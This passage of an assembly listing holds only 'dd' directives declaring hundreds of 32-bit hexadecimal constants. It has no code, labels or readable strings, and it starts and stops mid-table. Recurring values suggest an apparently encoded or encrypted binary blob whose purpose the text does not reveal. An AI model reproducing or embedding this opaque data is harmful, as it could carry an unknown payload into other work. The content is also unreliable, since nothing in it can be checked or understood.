		dd 0DF47299Fh, 0F0FB7A4Eh, 0FED507Fh, 7F6631BBh, 3700D341h
		dd 0EC3EA44Eh, 44CD02F4h, 0E1F47675h, 0B3386B30h, 0CEB842EEh
		dd 6F247EE7h, 0BD80BC67h, 4B633EEh, 75231CA0h, 3F8C2861h
		dd 0F7786167h, 72D7ECE9h, 8BDF93C4h, 5DC1943Fh,	22DEB567h
		dd 6A8449F3h, 9C55F5E4h, 0B1489101h, 0AFC75449h, 2128D205h
		dd 0A2737B25h, 1717E5B3h, 0C8479640h, 6B1F9915h, 0D2BEDFD8h
		dd 9E4ED560h, 90F58597h, 0FEB6344Bh, 0DE495E1Fh, 0DCF2CB0Bh
		dd 6961451Bh, 0F9BFF715h, 754197E9h, 0DF512C1Bh, 0E8C2579Bh
		dd 15D8C820h, 92030F7Ch, 8780F60Fh, 7408816Ch, 2912335Eh
		dd 337EB629h, 982032F5h, 0B69A6766h, 894F574Dh,	6B64E52Eh
		dd 98C7CE12h, 2128D27Ah, 0A2737FA4h, 6EEBCB20h,	0B84CC717h
		dd 9495E18Fh, 0BAE8170Ah, 656D7AF8h, 0BCE96F9Dh, 382555FBh
		dd 48FC542Fh, 1B22A6F8h, 0CB4BAE81h, 24713337h,	337D8875h
		dd 0CD9D912Bh, 57E462DBh, 0CC57384h, 6C0D10F0h,	0D994CF74h
		dd 9044E031h, 3AE95F80h, 5313ACCBh, 1B513BECh, 8F17C820h
		dd 54CB57D9h, 11640832h, 996FE10h, 2AD30A3Bh, 1275D646h
		dd 0C3CCEFC5h, 0BEFD1D60h, 5FE28496h, 292D62F6h, 0CFEE90FCh
		dd 2D55F5EDh, 17B91B4h,	0B1BFDF02h, 0E801307Dh,	9622A6F7h
		dd 2DB80FEEh, 4EBF74DAh, 76E4CBCCh, 0A27623E3h,	0A117E5B3h
		dd 4E2F333Eh, 4F0CA1BBh, 450CA106h, 0D9202FFAh,	0FA65CEDAh
		dd 0BD3A1C85h, 851DAEh,	0B3279E67h, 2CE9801Ah, 1E359467h
		dd 6AF16634h, 0EAACCE87h, 32BC132Eh, 0DEE3F98Ah, 0B4D29441h
		dd 1822FC6h, 9F118172h,	36A99983h, 0FAE10C40h, 0D23A06FBh
		dd 944C7BAh, 0F8EF341Ah, 0E6B696E2h, 4294A7AFh,	0EA417F67h
		dd 9AFF1548h, 0F5B3D9CAh, 0B913BAADh, 0D8809E3h, 20851A93h
		dd 5CB49D9Bh, 0AD869B75h, 0BF6A5CC3h, 0A592E600h, 64728A96h
		dd 7E990F67h, 2662C98Fh, 0F8536B7Fh, 55E6A9FAh,	2B840612h
		dd 830D709Ch, 782DEBD9h, 0B08CB229h, 0C0F30658h, 3D33847h
		dd 0C4E07FE9h, 0CA0E6240h, 64CB3A58h, 0C81A7C90h, 0C7449D9h
		dd 0D47A4E08h, 0FFB9D6B9h, 0B0BE3F9Eh, 802E76D0h, 804EF725h
		dd 0A36DC7BAh, 0B514BA87h, 845D2E9Dh, 0CB708292h, 5C3E965Fh
		dd 29811C73h, 0F8B506C0h, 1D84B681h, 10A2A387h,	30F225B4h
		dd 6EAE4F71h, 0D40E596Ch, 0B98ABEE1h, 95695C17h, 2128D194h
		dd 67E9D442h, 0FDC896CBh, 0BDE0CAE2h, 0EEDDC81Fh, 578CABDh
		dd 86DDC54Ch, 59A70BB2h, 0C6457D6Eh, 3A9B32C3h,	29E1F786h
		dd 0F953BE99h, 0CC340DC9h, 6477F6C2h, 0E72B2C6Bh, 0D2358DF9h
		dd 0F98728BAh, 19FAB98Bh, 0A3E02228h, 2691CAA8h, 197FCEA1h
		dd 2976ED28h, 9AA1A5B5h, 114DEE1Eh, 403A9887h, 2133B685h
		dd 0F958D725h, 0B7E53FBEh, 2128D0C9h, 2133B4C4h, 0F9615325h
		dd 29484ACAh, 655EBC3Fh, 90487E3Bh, 0F2F10D23h,	6509D6E4h
		dd 0EA1FB4E6h, 0C0C4F5C2h, 84159283h, 76FBAFB3h, 0FB6C2F98h
		dd 50F2287Bh, 0A75AE232h, 0FA147B47h, 4310D18Ch, 0AA8100A3h
		dd 0C2D1D767h, 529BBF0h, 0D20F6BA3h, 99ADC25Dh,	0F2188360h
		dd 8BB09830h, 0FA1530ADh, 2133B4A6h, 0EDDF4625h, 71F053B3h
		dd 1B696E4Eh, 5F28C539h, 9673F324h, 66D78404h, 0D6E2F728h
		dd 66C7C566h, 2128D230h, 0D58FD725h, 9731B083h,	4A28C563h
		dd 13C6C5E8h, 8AFD6C1Ah, 0FC448A2Bh, 4F054376h,	7F29E434h
		dd 2136C074h, 4E623425h, 0C9E7A926h, 9B665247h,	0E6674E8Ah
		dd 34EC81A0h, 6E671DBAh, 2128D0BEh, 9B93406Bh, 0EB4F39F1h
		dd 0D1A0605Fh, 912CC7BAh, 4F3DD528h, 34EC8DF0h,	0FB672F41h
		dd 21308FA9h, 0F13B425h, 5CFFC078h, 201450AEh, 45A298A9h
		dd 0D7E04C02h, 0D1D14A97h, 4E43C7BAh, 0EE575868h, 3C6552A7h
		dd 712F6498h, 21365545h, 0F1816425h, 6928C52Eh,	9456303Ah
		dd 0CF52107Ch, 0F56DA4CAh, 43DC7C2h, 0D536BCADh, 0ACB68CF7h
		dd 6AE474F9h, 53E4AB37h, 6A46D86Eh, 6EF382Ch, 85A76035h
		dd 4ED07504h, 0AE08E223h, 0F7F496D2h, 0F7F08F4Ch, 4ED45EDBh
		dd 0EE16FA40h, 70EEDFD1h, 19E559D2h, 6A4E67D1h,	0F9DBEF3Eh
		dd 0D98E6035h, 4ED07509h, 8308D523h, 0F9481ED9h, 0F7F08F4Ch
		dd 4ECA5345h, 430FCCD1h, 758B6FDEh, 8D50393Dh, 53DE2546h
		dd 0F9CE458Eh, 28D45EF1h, 492ECAF5h, 0EED46003h, 0A6E3E4CBh
		dd 9FD5FC41h, 0C2CAEED9h, 0BBD45FF0h, 66B2195Eh, 30B1D07Fh
		dd 0B091CFAEh, 0F4849488h, 4ED45F24h, 0EE95603h, 0F2ED1CA6h
		dd 0F797E429h, 2EB9F3F0h, 4929F9F5h, 0EED46003h, 72AEE684h
		dd 9FCAEAA9h, 97CAEED9h, 4CD45FEFh, 23F9192Fh, 6772380Ah
		dd 0EE6239CFh, 772067D1h, 0F9DC5C80h, 0A1BE39D6h, 4805689Bh
		dd 90BE3A1Ah, 0A26C689Bh, 0E651768Dh, 0E7252C3Bh, 0C4B6E499h
		dd 48FBD227h, 0C5DB06A3h, 0A2E76AAAh, 77736C0h,	0FB5D9C7Ch
		dd 761BDFAAh, 0BC893BA2h, 96B58CA3h, 639194B2h,	29D7E7E2h
		dd 0CD8F6CF8h, 0BDA0B841h, 9316F5F1h, 9E049B5Fh, 0D6889DA8h
		dd 0C3DDEB2Eh, 13642C36h
		dd 0C05A79F9h, 0F457A2C9h, 74A0F963h, 2F7EF4FCh, 6C818A17h
		dd 63DA0736h, 5C1C11D0h, 98C20020h, 0D9DBF1A9h,	28CEEB6Ch
		dd 98CCAD39h, 201D749Ah, 22E6DFDh, 5D380EB3h, 0B07F5B47h
		dd 0AFA56B9Ah, 1A22D52h, 0AE3D9521h, 0D54AD83Dh, 0E8DED565h
		dd 0F9DBE7FEh, 7D2B9399h, 0DBF700BCh, 906733C8h, 0F053C9A5h
		dd 6C2B9113h, 9F00F77h,	98C32479h, 201D749Ah, 22E6DFDh
		dd 5D380EB3h, 0B07F5B47h, 0AFA56B9Ah, 1A22D26h,	3B3D9521h
		dd 2534C122h, 0FB3D21D6h, 8D797F0h, 0E953C9B9h,	0DD4FB70Eh
		dd 5F0239C8h, 17DBE894h, 7F5D2A2Ch, 0AD53C9B1h,	632A0B40h
		dd 4C4A14F4h, 37A05CCFh, 0BB24596Ch, 3CD62ECDh,	0D02C9A15h
		dd 0BC878680h, 3F25F0DAh, 7899A2E0h, 0D795D73Eh, 31666B0Ch
		dd 0E56DC74Eh, 38EC1829h, 592F9632h, 0FAE4F44Dh, 1BBDD495h
		dd 0D9673F42h, 0B65CBF99h, 0FACB9954h, 73470666h, 9BBF60FDh
		dd 0C73B7D85h, 1189D730h, 2736EEB9h, 8745E99Eh,	240D1DABh
		dd 0C4D690Ch, 30C489A9h, 30301EB2h, 0FE04EDEBh,	8CA1ED9Dh
		dd 7FD1F4E4h, 3DA1F0E6h, 18A5EAEBh, 86D5F4F7h, 0E9CF861h
		dd 3DA046B4h, 0E1E875A9h, 87D41AE8h, 2F22ED89h,	0CC91F841h
		dd 5DA04A83h, 3D9CA1F2h, 142A31EBh, 0F018006Dh,	30EECAB4h
		dd 0F8A6EDEBh, 3DD40FACh, 3D9F3AE4h, 72D507EBh,	25C2362Dh
		dd 128F12AAh, 6D28FA01h, 3DA046B0h, 436B73B7h, 51AC2880h
		dd 0B46A332Fh, 39CBAD3Eh, 69B55ECh, 0BF04F0E5h,	0FA1F0E4h
		dd 0B2E230AAh, 0EA046A6h, 3DA1F098h, 0A5CE8503h, 5DA1ED9Dh
		dd 30F70DB0h, 8189EDEBh, 97A1ED9Bh, 0BEB405Dh, 0E73FE520h
		dd 0EA1F37Dh, 3DA1F098h, 380039D3h, 0A59CF7CBh,	76A6F0E7h
		dd 3DA1ED21h, 30FA23B2h, 0E901EDEBh, 2F01ED9Dh,	3DADC7ACh
		dd 7152EDEBh, 467A552Ah, 0FF2B22F6h, 0F89E0DEAh, 1F2673C9h
		dd 213442h, 0C8A1EFC4h,	3D9F94F3h, 0FB233AEBh, 0C8A1ED9Dh
		dd 3D9CF537h, 0C8A1EDEBh, 3DD4F76Eh, 300BC8EBh,	0B129EDEBh
		dd 44C47665h, 0F9ADB28Ch, 2854DCFFh, 92E703D2h,	0FE04ED9Dh
		dd 1FA1ED9Dh, 1BC331CAh, 101F0A8h, 3DA1F007h, 0E94F8E77h
		dd 0D40B0B5Fh, 399CE337h, 3DD4E39Eh, 30F528B2h,	5001EDEBh
		dd 0CC786E7Ah, 2F01ED9Dh, 9920C2D4h, 3DD40D65h,	0EA04F10h
		dd 3DA046B3h, 390649A2h, 0BA3D3197h, 0A954960Fh, 7494919Ah
		dd 0CB3B9F29h, 48A6EDEEh, 3DA1ED9Ah, 5DA049E7h,	0A0401D42h
		dd 16D4E36Bh, 2801ED9Dh, 3DA1ED9Dh, 3152C808h, 8068B760h
		dd 0AD7A1D72h, 0C91EDE65h, 0B78C213Ah, 5EA1F0E7h, 79345F81h
		dd 231D5BF7h, 727611CDh, 0CE531296h, 0E201F0E4h, 74678C85h
		dd 117E3D1h, 0BED13B0Ah, 0A5A1F04Eh, 34A6F0E7h,	3DA04B6Bh
		dd 3DA1A7E4h, 0DC944FEBh, 260F1A5Dh, 30C341D7h,	9CA94F4Bh
		dd 3DA1F052h, 0BE1E443Eh, 3DD4F9B8h, 3DA07CE7h,	30F559B2h
		dd 48A6EDEBh, 3DA1ED9Ah, 0C5D53AE7h, 0C8A1ED9Dh, 3DA1F065h
		dd 3D9F64EBh, 9EBE2C4Bh, 0EEA6ED9Bh, 3DA1EDEAh,	59A04AB3h
		dd 0FE94F0E7h, 2BFF0D9Dh, 3FA1EDEAh, 9BFE0F42h,	0F1A03EABh
		dd 1DB68080h, 806B9C70h, 30FCACF6h, 3DA079EBh, 334B20B2h
		dd 0FE94EDEBh, 0C1983A9Dh, 5DA1F0E7h, 4A880A33h, 5A903AF4h
		dd 3DD4EB1Bh, 0B9443C10h, 0C8A1EDE8h, 3D9CA29Ah, 0F02C3AEBh
		dd 3DA1ED9Dh, 3D9CF8EBh, 3D9CA1E4h, 0AF69EEEBh,	88798005h
		dd 0FE90ED9Bh, 3D9FC89Dh, 0A6D0EDEBh, 3E5CBCAEh, 8D01F0E7h
		dd 334E90E0h, 303EEDEBh, 0F873DB16h, 1328F334h,	2CB40FC2h
		dd 3DA1EDE6h, 9FA8C218h, 77B078A9h, 0CFBAB2A1h,	30014290h
		dd 0A084EDEBh, 0E2B13D86h, 5D4B305Ch, 65FB933Dh, 3E075A5Fh
		dd 3DD41023h, 3D9F94E4h, 0D7366EEBh, 61B2F594h,	0B5BBAE5Ah
		dd 0E9CF53Ch, 3DA046BBh, 6B05F421h, 0CFEF6ECAh,	475CE4B2h
		dd 0FE90ED9Dh, 3DA4C89Dh, 0C5F8EDEBh, 2A4A0FF1h, 382671D5h
		dd 0A98D6F45h, 0A3220DE8h, 33B8BB98h, 0DB4E3D8h, 3DA046BBh
		dd 330001C0h, 0C5A5B56Ah, 0F05B0228h, 0A10D6F1Dh, 0FF28C3B0h
		dd 0D41F3AEAh, 5DA1ED9Dh, 52D5D1FCh, 0A5A1F04Ch, 3DD4ECE0h
		dd 0C829F8EBh, 50A0B87h, 7AFCA899h, 849C3CB9h, 4A46994Ah
		dd 5A9F611Fh, 57A6F0E7h, 3DA1EDECh, 5DA049E7h, 7D1DE89Bh
		dd 3DD8DB4Ch, 0BA6EEDEBh, 8666D998h, 7F5CEA87h,	0BB18BB6Eh
		dd 0CE68B3FEh, 8B01F0E4h, 1097AD32h, 0B91EA70Ah, 0A5A1F348h
		dd 5DA04ACCh, 308551B0h, 0DA04EDEBh, 0C5A1EDEEh, 0C2DD8214h
		dd 3FD6345Ah, 0CA19E344h, 2597F124h, 0EA1F37Fh,	3DA046B4h
		dd 0ED163D7Ah, 85AB73EDh, 0AD205550h, 931220D8h, 0C8A04B6Fh
		dd 3D9F8E6Eh, 30F2C8EBh, 0A3DEDEBh, 0DFA85715h,	0E9CF534h
		dd 3DA046B4h, 35CF33F5h, 0DF41DBDEh, 229C1B2h, 0C93AB2FBh
		dd 0EA046B8h, 3DA046A2h, 847DD68Ch, 2F02D269h, 811AD2C5h
		dd 0CAD7FD7Ch, 15C0A6Eh, 0D39B533Dh, 4901F0E4h,	0E69EA8F4h
		dd 0CA703ADEh, 16A1ED9Dh, 0BDA6ED9Dh, 3DA046BFh, 0F2C13E4Bh
		dd 0F3C31FBBh, 3D9CF8F2h, 9CA910EBh, 3DA046BFh,	3DA1A7E4h
		dd 364536EBh, 9B514D83h, 30C43D23h, 0F12A3BB4h,	5DA1ED9Dh
		dd 30C5BD42h, 3D9F4210h, 0F02DEDEBh, 3081E77Bh,	2E560DEBh
		dd 3618751h, 3DD40DD5h,	3DA1A7E4h, 0AE0A40EBh, 9C9CFBE3h
		dd 30C5DA67h, 3D9F93E4h, 86B367EBh, 30C5BEE4h, 30C34EE4h
		dd 9691D6EBh, 50A077DDh, 0F353DDA1h, 0E62BFE4Bh, 0AAB3AE5Fh
		dd 0FE98F8E8h, 349E0D9Dh, 5D72C2AAh, 3DD40FE2h,	0C8A04F10h
		dd 30C5989Bh, 2BFF0DEBh, 78A1EDEAh, 0F2ABBE2Eh,	0CA627C46h
		dd 0AADA6D49h, 0ED1F8F76h, 0EA1F37Dh, 3DA046A2h, 6CB2B820h
		dd 310313D1h, 5E532E12h, 3DA23DA2h, 3DA079EBh, 3D9CA2E4h
		dd 5E8A75EBh, 30FD8ADDh, 35B20DEBh, 0CBD873B0h,	7201F0E4h
		dd 0CE80B1F3h, 0DF01F0E4h, 0CA562988h, 0C228DA80h, 3DD4AAB1h
		dd 0B32A3AEBh, 0EA1ED9Bh, 3DA046B3h, 0C429D0D6h, 4046AA60h
		dd 0CAC78C4Bh, 0A4F7FB28h, 0D0480245h, 0B001F0E4h, 76A84E44h
		dd 3DA1F183h, 0FF27D8A6h, 2AA90DEAh, 3DA1F184h,	2690AD6Bh
		dd 3DD4E3DDh, 3348CAB2h, 0FE99EDEBh, 0E49E0D9Dh, 0B7865FF1h
		dd 88A1F0E7h, 75389DFAh, 0E3A1080Ch, 3077E6B3h,	3C763AEBh
		dd 0C8A1ED21h, 3DA1A968h, 3DADC8EBh, 0C07FEDEBh, 129900B0h
		dd 0C8126E23h, 3A1F0E7h, 28048135h, 6D30D3C1h, 3D9A1ED4h
		dd 3DA1A8E4h, 0A669A5EBh, 0F9E6F8B4h, 0D79E96DCh, 9C4E6FC8h
		dd 0C8A04605h, 3DD41280h, 3DD8C8EBh, 28FBEDEBh,	0E8E6D3Fh
		dd 3A83252Ah, 55336589h, 0DD0D045Ch, 0F61F3AE8h, 0C8A1EDE8h
		dd 3D9CA2F3h, 0FEB13AEBh, 0C8A1ED9Dh, 3DA1F01Ch, 3D9CF8EBh
		dd 3DA1F0E4h, 2ACF69EBh, 0CE98B159h, 5DA1F0E1h,	14427833h
		dd 3D9F36F5h, 635B0EEBh, 0E76BA6EFh, 349F925Dh,	30779C42h
		dd 300BC8EBh, 7503EDEBh, 0EC0EC21h, 0B04A452Dh,	0C1F80AD0h
		dd 0D0EAFF5h, 0DF01ED9Bh, 0B280447Ch, 3D9F35FFh, 0B85A39EBh
		dd 8BBE664Dh, 15E64AF3h, 0DA04ED9Dh, 0FDA1EDEEh, 7F1D4293h
		dd 0FE098951h, 0B6F25D2Fh, 94892F77h, 5001ED9Dh, 9B6F181Ah
		dd 8B0FBB5Eh, 5DA1F37Dh, 3D9CA2F5h, 0CEB217EBh,	67BA127Fh
		dd 18327D82h, 3DD4EA2Dh, 3D9F94E4h, 5EFD2EBh, 3064C47Eh
		dd 0F37E5068h, 3016C8D7h, 9851EDEBh, 5487E8BBh,	66675A68h
		dd 0C8A079D1h, 3DD7559Bh, 2E443AEBh, 0EA1ED21h,	3DA046BBh
		dd 33825ED0h, 253003E4h
		dd 0F55F6D7Eh, 0C804EDE8h, 0CCA1F0E7h, 723F4289h, 8E8DC6B6h
		dd 3DD4E25Fh, 3DD8B7B2h, 0F104EDEBh, 0B5A1ED9Dh, 0DF4AAA1Fh
		dd 18241215h, 615FB83Bh, 3DA1EDE6h, 567B93C3h, 0A41C1545h
		dd 0DEEF574Dh, 6FD9C006h, 30C5BE37h, 0A5EB134Bh, 0CA0FDE48h
		dd 0F5273A9Dh, 0DEA1F0E7h, 0C004F0E7h, 71A1EDEEh, 0AC22AD0Eh
		dd 57B259A2h, 20A74C9h,	0F005D95Ah, 76AD0B1Dh, 3DA046B5h
		dd 3D9CA1E4h, 7151C2EBh, 337FCE3Dh, 0FE90F0A9h,	5B13A9Dh
		dd 0C8A1ED20h, 3DD4AB9Ah, 0C539C8EBh, 7A5CED9Dh, 0A8F1EFBEh
		dd 48021E56h, 942F6116h, 8D77DA19h, 30C41FB2h, 3016CB4Bh
		dd 0DFB3EDEBh, 2A5F1B0Eh, 0BB992B24h, 4CCB48B7h, 0E93E269Bh
		dd 48A6ED9Dh, 3DA1ED9Ah, 300A40E7h, 674BEDEBh, 19847B23h
		dd 73B38AEDh, 0A33C420Fh, 66E61AB5h, 34A6ED98h,	3DA04607h
		dd 581EBD4Bh, 564F2F93h, 3DD4EBA2h, 3DA859B2h, 7201EDEBh
		dd 23CD9532h, 14934852h, 0D4A1ED20h, 8C13A8AAh,	3AD76492h
		dd 0F395020Bh, 0E06AC091h, 0EA049E0h, 3DA046BFh, 80ADDA1Ch
		dd 8828A8F7h, 0B8B1224h, 51A68FAFh, 0FE94F0E7h,	3D9FC89Dh
		dd 3E1DEDEBh, 0E58452ACh, 3016C84Ah, 0D3ACEDEBh, 57828DC2h
		dd 0ACE60BBh, 95C8C281h, 0E976D76Eh, 0DA04ED9Dh, 0A7A1EDEEh
		dd 0CA7C5181h, 0CA76DB5Bh, 0A90271C8h, 0F554116Ch, 2904EDE8h
		dd 9BA1ED21h, 78C78395h, 6107B4F1h, 69997F28h, 3125C0Eh
		dd 0FDBE4149h, 3DA7C89Dh, 64F9EDEBh, 0FD9F8D4Ch, 0FC6DE0E3h
		dd 0E4322C8Bh, 76A6F053h, 3DA0467Bh, 0F677844Bh, 3DA1F09Ah
		dd 3DD410EBh, 33462CB2h, 0FE90EDEBh, 3DA7C89Dh,	0E82AEDEBh
		dd 232F5EC4h, 0C7128FC4h, 1789851Eh, 0FE90ED20h, 0B3B13A9Dh
		dd 0DEA1F0E7h, 57A6F0E7h, 3DA046B8h, 3DA1F0E4h,	0BBDEDAEBh
		dd 0D8F40A7Ah, 0C89CF846h, 3DA1A59Bh, 5E443AEBh, 0DEA1F0E2h
		dd 0FE94F0E7h, 30FAC89Dh, 1815EDEBh, 0CE6AC4ACh, 22F1AD5Bh
		dd 7B422E20h, 0EA1F07Bh, 3DA046BCh, 76E22DD2h, 0FF681C10h
		dd 5DA1EFC4h, 5F1B3E1Dh, 0B19ED6A1h, 0DEA1F348h, 0C8A04AB0h
		dd 30C33E6Eh, 0DA2C3AEBh, 0EA1EDEEh, 3DA046B4h,	0A6D6C5E2h
		dd 80B01821h, 813828BFh, 4EB0D838h, 0C8A1F0C2h,	3DD4131Ch
		dd 3DD8C8EBh, 15ACEDEBh, 23E46662h, 0D94E1529h,	0E072A047h
		dd 0C7E13118h, 3031C89Dh, 0C4D6EDEBh, 5A8FD8CBh, 0F277AC01h
		dd 30C5C4CCh, 3DD922B2h, 0D101EDEBh, 7541348h, 6ACE5E61h
		dd 0E901ED98h, 0A304ED9Dh, 8CA1F0E7h, 0DB3ECF63h, 0A9108466h
		dd 0C8A04A47h, 30C34165h, 53323AEBh, 0EA1ED21h,	3DA046B4h
		dd 60934F3Ah, 9BED4FB5h, 5BC1DE2Fh, 6461A324h, 0C8A1F05Ah
		dd 3DA1F034h, 3D9CF8EBh, 302E28B2h, 5001EDEBh, 0F4C8BD7Ah
		dd 0FF264354h, 3DA1B5EAh, 30821EB2h, 0EEA6EDEBh, 3DA1F1CFh
		dd 3DD4DE4Bh, 5DA04AB4h, 3DA1ABF5h, 27A2CEEBh, 68C50164h
		dd 822842FFh, 2A9B38Bh,	3DA1F0A8h, 3DD4EA93h, 3DA1A7E4h
		dd 581041EBh, 9A7F3A60h, 3DD4D0FAh, 5DA04AB3h, 66D14333h
		dd 3090C7FEh, 0F9B7EDEBh, 0CAC6231h, 6A1B416Eh,	101ED98h
		dd 3DA04641h, 0A6A50FDFh, 3716871Bh, 8CA344A4h,	65E0B1B2h
		dd 9EAF11FCh, 0FE04ED9Bh, 6BA1ED9Dh, 0B05B3EFEh, 59A04AB6h
		dd 3DAB51A2h, 0EEA6EDEBh, 3DA1F1CFh, 2 dup(3DD4DE4Bh)
		dd 3DD80DB2h, 4D01EDEBh, 3DA1A7ACh, 142A73EBh, 5DBE26AEh
		dd 0FF2D9957h, 3ADC0DEAh, 0FBA1ED21h, 51F35AD9h, 1DDB86C4h
		dd 225FF711h, 0FB036A3Ah, 30FF0D25h, 1A1EDEBh, 38F51E30h
		dd 0F413D966h, 26A3C42h, 0FEAC0F50h, 3DD8C89Dh,	481EDEBh
		dd 18B4590Dh, 6CA9A734h, 6BBCA8F3h, 0EA2BBD7h, 3DA1ED99h
		dd 0FDDB62FEh, 35632D48h, 93EDB1AAh, 2DC05A01h,	30C51467h
		dd 6F8F734Bh, 30C44853h, 7AC8BD4Bh, 744E2077h, 6A03C2DCh
		dd 0FE99ED98h, 6B093A9Dh, 59A1F0E2h, 5504F0E7h,	61A1ED21h
		dd 8F39815h, 4F51600Dh,	4238B974h, 3DDD94D3h, 3031C8EBh
		dd 8983EDEBh, 0A1040A73h, 4BDCD902h, 3DD4E64Bh,	0ECA4A7E4h
		dd 80966729h, 0E556A4A3h, 0ECA6885Ch, 0ECBBCB89h, 0BB586229h
		dd 638FB461h, 0D4BC3E05h, 0E96F0114h, 0ECA67D64h, 4D87DF29h
		dd 0E96E70D1h, 0ECA7A764h, 8BFD1A29h, 0E443D183h, 427153C6h
		dd 0CE79A412h, 0F23E6236h, 5A76229h, 0B5FC004Bh, 0E6F392A9h
		dd 0CD3597CDh, 0FBA7EA62h, 0ECA75B52h, 6821E0DBh, 0BA356229h
		dd 0C6D90CF2h, 0E90B3301h, 0E9C63452h, 0FCC76229h, 0ECA76104h
		dd 7D3BB03Dh, 532E1AF7h, 0E90B2F50h, 5C466229h,	0ECA73909h
		dd 0E979A729h, 0CCA76229h, 0CCA764EAh, 0E8593050h, 0A09C6229h
		dd 0ECA76265h, 5B23DA6Eh, 0E96E7188h, 0E914D929h, 5C906229h
		dd 0AA57907h, 42B38E9Ah, 0ECA4028Eh, 0E9173152h, 0C79C6229h
		dd 0ECA76265h, 0E90BB952h, 0D4C76229h, 622C7F1Fh, 0EB462A42h
		dd 0ECA7E929h, 0EC823152h, 0B9BA6229h, 0ECA75B53h, 6DC13069h
		dd 0AE5BEA3Dh, 719EC47Ah, 2432AACh, 0FBA7EA48h,	0ECA76229h
		dd 691A34A5h, 200827CBh, 0C29C020Bh, 0ECA7620Dh, 0E976A854h
		dd 0C2A76229h, 56EB0113h, 0D9C020Bh, 761FA740h,	6CA76234h
		dd 0EA200A57h, 4E95A729h, 0CCA7623Ah, 0ECA67E13h, 0E52D7829h
		dd 3801D1Bh, 425445ECh,	5546FBC0h, 0B3A7620Bh, 3AC42862h
		dd 5BF2FABAh, 34C4E249h, 273E620Bh, 37A7620Bh, 0E43F92D3h
		dd 483E623Fh, 6EA76234h, 0A8FBF3CBh, 0B54D0A1Dh, 0E90BC467h
		dd 75665929h, 44570DD1h, 0A11BBFE2h, 0A1C70643h, 8B95DD31h
		dd 5B3E6208h, 15A76265h, 1FDC06C3h, 0A47DEE1h, 0FCC7623Dh
		dd 0ECA7620Ah, 0FB62B636h, 8AF92FDh, 0ECA7E09Dh, 0B8A757A1h
		dd 0C79C6265h, 0ECA7620Ah, 0ECA59F65h, 5143C289h, 0F4A76234h
		dd 0BC856AD4h, 0C61FEEFFh, 0A78F8E26h, 0D9A5F8DEh, 0E96E74F5h
		dd 0FBA757A1h, 0ECA75B53h, 0CA7324D8h, 0C65B7876h, 0B63DA454h
		dd 13C9D29Dh, 4BA7E981h, 149C6265h, 0ECA7623Dh,	0FBA75765h
		dd 0ECA75B50h, 0CFFC0591h, 0A64AC4AEh, 6C77ECBBh, 0D8E1E01Dh
		dd 2E9EDB33h, 5EC76260h, 0EB462ADDh, 3FCEA729h,	0CCA76265h
		dd 654DD421h, 892309F3h, 393E6208h, 14A7623Ah, 5AB9A49Ah
		dd 2F7C930Bh, 7DEC80h, 8911FD38h, 0E90B9C5Bh, 0E90BC364h
		dd 8C624B29h, 0E84F7783h, 0AA2E0CC7h, 0C57D4F6h, 0F5E25F34h
		dd 217741F2h, 5B04E1F2h, 7FC2ECEh, 737F40C2h, 0E27F4070h
		dd 0E27C09CCh, 4D53A42Ch, 0E27E93E8h, 8056E1CCh, 4C6641F5h
		dd 0BB7F41B8h, 1BA46A5Eh, 73707A78h, 0FB5F41F1h, 0CC885B54h
		dd 83BA2FA4h, 0E27E87BEh, 173F46CCh, 26AD9F34h,	3DCB408Dh
		dd 2185EF6Bh, 34FD86F2h, 0F17F41E3h, 0E27F3A6Bh, 0D4762A78h
		dd 95F89F8Ah, 99454F9Eh, 0E1A49FF2h, 0E1A3A3B1h, 1B457ACCh
		dd 52FB702h, 4D2A9A4Dh,	4360F2F7h, 4DFF1029h, 0E237DE5Ch
		dd 0E23BB8CCh, 3F0C41CCh, 0FE986808h, 0A84A01CAh, 3EAAF360h
		dd 5CB5BEEh, 0E1F3B8F5h, 0DBEA41CCh, 0CE04E88Bh, 0E271B762h
		dd 0E27FBCCCh, 0D5AA312Ch, 1F3D8891h, 0B97F41BDh, 68AB2EF2h
		dd 0AA2FA1h, 29211DDEh,	326641F2h, 0F97F41E3h, 0E8FF6B04h
		dd 633647Fh, 0E7B1BBB4h, 0D5BF18DFh, 0E23651C4h, 0E1A3A3B1h
		dd 0C261E0CCh, 5DDABB66h, 54083F3Dh, 94A376B7h,	21DC2149h
		dd 0B6B886F2h, 737F41F5h, 0E1A3A1DEh, 0E206B8CCh, 467141CCh
		dd 4750A603h, 8151128h,	0C63574F9h, 217B41BBh, 1894B8F2h
		dd 0DA4D41F5h, 6F305232h, 0D97DA428h
		dd 8A54FB9Ch, 0A7D0B586h, 0C5C1876Ch, 0D4C0951Eh, 0C5C099B4h
		dd 2DD77C5Fh, 81C24A99h, 24C09F48h, 4C9A01Eh, 763AE554h
		dd 0A1C0A01Dh, 0F8D9A01Eh, 0B7C0A040h, 34DF27B2h, 0BD05F09Fh
		dd 0ECDD2724h, 0DA500226h, 0ECD93242h, 52CE68Ch, 56C0A274h
		dd 0C5C1BCF1h, 0E80FE56Ah, 56C0A053h, 0C5C028D6h, 56C0A06Ah
		dd 0C5C1EDF1h, 8142E56Ah, 0A1C0A01Dh, 0A4E0A01Eh, 0C0835DFAh
		dd 0C62CE6AFh, 0FA07EF8Ah, 0DFC0A053h, 0F2F4EF9h, 2D9A054h
		dd 6EC0A01Bh, 532E1F0Ch, 0D4C027F3h, 0C5C099B3h, 0F0FFD05Ah
		dd 99A1CAF2h, 6636162Eh, 0CCE0A053h, 0C5C09F62h, 0E23C6391h
		dd 0D7CCD540h, 0C41F6BC2h, 0DEEBA06Ah, 660C5442h, 0C5C08318h
		dd 2C2A546Ah, 1693D778h, 0BC5215B8h, 0C589AEC5h, 0C5C1E517h
		dd 8635526Ah, 0E1485F80h, 9E347A66h, 0DA1BE03Ah, 0FA4DA053h
		dd 0C5C36853h, 0C5883417h, 1530726Ah, 663833D7h, 5EB34C10h
		dd 0C387C0D6h, 0B4CAA1A6h, 1A613992h, 4BC0A045h, 0EE63D1BCh
		dd 7D08EEE5h, 0C75AE4BAh, 0C2E1E91Fh, 0C5C1E90Bh, 69FAA96Ah
		dd 94C2F96Fh, 1EF25790h, 0A5C0A276h, 0D2FE1232h, 0A8FE8D62h
		dd 0C58840B4h, 0C5C1BC17h, 0CD5EEE6Ah, 0BC9B0D81h, 969FDA24h
		dd 0A5C0A4F5h, 0FED90374h, 2A25FEF4h, 0C4E6B26Bh, 59B3E56Ah
		dd 0D4C0A01Eh, 0C5C0A055h, 236ADAA5h, 44E64878h, 0CF617C22h
		dd 44C0A040h, 81A7C724h, 0D1D0B1C2h, 0F8D23033h, 0B743F2D6h
